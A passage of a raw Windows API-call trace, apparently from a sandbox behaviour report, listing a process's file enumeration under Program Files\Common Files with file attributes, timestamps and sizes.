ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0148.551] GetLastError () returned 0x12 [0148.551] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3d5eb40 | out: lpFindFileData=0x3d5eb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0148.551] FindClose (in: hFindFile=0x8951b8 | out: hFindFile=0x8951b8) returned 1 [0148.551] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.551] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0148.551] GetLastError () returned 0x12 [0148.551] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x59a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0148.551] GetLastError () returned 0x12 [0148.551] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0148.551] GetLastError () returned 0x12 [0148.551] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0148.552] FindClose (in: hFindFile=0x895178 | out: hFindFile=0x895178) returned 1 [0148.552] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.553] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0148.553] GetLastError () returned 0x12 [0148.553] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0148.553] GetLastError () returned 0x12 [0148.553] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0148.553] GetLastError () returned 0x12 [0148.553] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0148.553] FindClose (in: hFindFile=0x8954f8 | out: hFindFile=0x8954f8) returned 1 [0148.554] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.555] FindNextFileW (in: hFindFile=0x836c60, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 0 [0148.555] FindClose (in: hFindFile=0x836c60 | out: hFindFile=0x836c60) returned 1 [0148.555] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.556] FindNextFileW (in: hFindFile=0x836960, lpFindFileData=0x3d5f550 | out: lpFindFileData=0x3d5f550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0148.557] GetLastError () returned 0x12 [0148.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895038 [0148.558] FindNextFileW (in: hFindFile=0x895038, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.558] FindNextFileW (in: hFindFile=0x895038, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0148.558] GetLastError () returned 0x12 [0148.558] SetEvent (hEvent=0x50c) returned 1 [0148.558] ResetEvent (hEvent=0x510) returned 1 [0148.558] FindNextFileW (in: hFindFile=0x895038, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0148.558] FindClose (in: hFindFile=0x895038 | out: hFindFile=0x895038) returned 1 [0148.559] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.559] FindNextFileW (in: hFindFile=0x836960, lpFindFileData=0x3d5f550 | out: lpFindFileData=0x3d5f550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0148.559] GetLastError () returned 0x12 [0148.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894f78 [0148.563] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.563] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0148.563] GetLastError () returned 0x12 [0148.563] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895338 [0148.565] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.565] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0148.565] GetLastError () returned 0x12 [0148.566] SetEvent (hEvent=0x50c) returned 1 [0148.566] ResetEvent (hEvent=0x510) returned 1 [0148.566] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0148.566] GetLastError () returned 0x12 [0148.566] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0148.566] GetLastError () returned 0x12 [0148.567] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895478 [0148.568] FindNextFileW (in: hFindFile=0x895478, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.568] FindNextFileW (in: hFindFile=0x895478, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0148.568] GetLastError () returned 0x12 [0148.568] FindNextFileW (in: hFindFile=0x895478, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0148.568] FindClose (in: hFindFile=0x895478 | out: hFindFile=0x895478) returned 1 [0148.568] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.568] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0148.568] GetLastError () returned 0x12 [0148.568] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0148.569] GetLastError () returned 0x12 [0148.569] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0148.569] GetLastError () returned 0x12 [0148.569] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0148.569] GetLastError () returned 0x12 [0148.569] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0148.569] GetLastError () returned 0x12 [0148.569] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0148.569] GetLastError () returned 0x12 [0148.569] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0148.569] GetLastError () returned 0x12 [0148.569] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0148.569] GetLastError () returned 0x12 [0148.569] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1 [0148.570] GetLastError () returned 0x12 [0148.570] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0148.570] GetLastError () returned 0x12 [0148.570] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0148.570] GetLastError () returned 0x12 [0148.570] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0148.570] GetLastError () returned 0x12 [0148.570] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1 [0148.570] GetLastError () returned 0x12 [0148.570] FindNextFileW (in: hFindFile=0x895338, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, 